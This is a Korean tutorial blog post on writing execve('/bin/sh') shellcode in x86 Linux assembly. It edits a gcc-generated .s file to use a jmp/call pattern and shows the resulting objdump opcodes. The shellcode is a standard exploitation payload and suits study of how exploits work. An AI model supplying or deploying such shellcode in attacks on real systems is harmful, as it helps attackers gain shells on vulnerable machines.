.s 파일 수정
자주 사용하는 shellcode를 -S 옵션으로 컴파일 한 결과 파일( inlineasm.s )
\_\_volatile\__
을 사용했기 때문에 입력한 어셈블리 그대로 컴파일 되었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
.file "inlineasm.c"
.version "01.01"
gcc2\_compiled.:
.text
.align 4
.globl main
.type main,@function
main:
pushl %ebp
movl %esp,%ebp
#APP
push $0x0
push $0x0068732f
push $0x6e69622f
mov %esp, %ebx
push $0x0
push %ebx
mov %esp, %ecx
mov $0x0, %edx
mov $0xb, %eax
int $0x80
#NO\_APP
.L1:
leave
ret
.Lfe1:
.size main,.Lfe1-main
.ident "GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)"
.s
파일은 컴파일러가 최적화 한 이후의 파일이기 때문에 파일 내용 그대로 실행파일이 만들어진다. 따라서,objdump
의 출력과.s
파일의 어셈블리는.s
에서 주소 대신 symbol을 사용하는 것을 제외하면 동일하다. .s
에서는 call이나 jmp 명령어의 인자로 주소 대신 func_name(symbol)을 사용한다. 또한 string이나 jmp point도 symbol로 사용한다.
.s파일을 수정해 symbol을 새로 만들거나, symbol로 jmp나 call하도록 수정할 수 있다.
modified_inlineasm.s
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
.file "inlineasm.c"
.version "01.01"
gcc2\_compiled.:
.section .rodata
.LC0:
.string "/bin/sh"
.text
.align 4
.globl main
.type main,@function
main:
pushl %ebp
movl %esp,%ebp
jmp begin
begin2:
mov $.LC0, %ebx
push $0x0
push %ebx
mov %esp, %ecx
mov $0x0, %edx
mov $0xb, %eax
int $0x80
begin:
call begin2
#NO\_APP
.L1:
leave
ret
.Lfe1:
.size main,.Lfe1-main
.ident "GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)"
inlineasm의 objdump
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
...
08048398 <main>:
8048398: 55 push %ebp
8048399: 89 e5 mov %esp,%ebp
804839b: eb 16 jmp 80483b3 <begin>
0804839d <begin2>:
804839d: bb 10 84 04 08 mov $0x8048410,%ebx
80483a2: 6a 00 push $0x0
80483a4: 53 push %ebx
80483a5: 89 e1 mov %esp,%ecx
80483a7: ba 00 00 00 00 mov $0x0,%edx
80483ac: b8 0b 00 00 00 mov $0xb,%eax
80483b1: cd 80 int $0x80
080483b3 <begin>:
80483b3: e8 e5 ff ff ff call 804839d <begin2>
80483b8: c9 leave
80483b9: c3 ret
80483ba: 90 nop
80483bb: 90 nop
...
Note) 인라인 어셈블리 대신 .s파일을 바로 작성해도 인라인 어셈블리와 동일하게 사용할 수 있다.
This post is licensed under CC BY 4.0 by the author.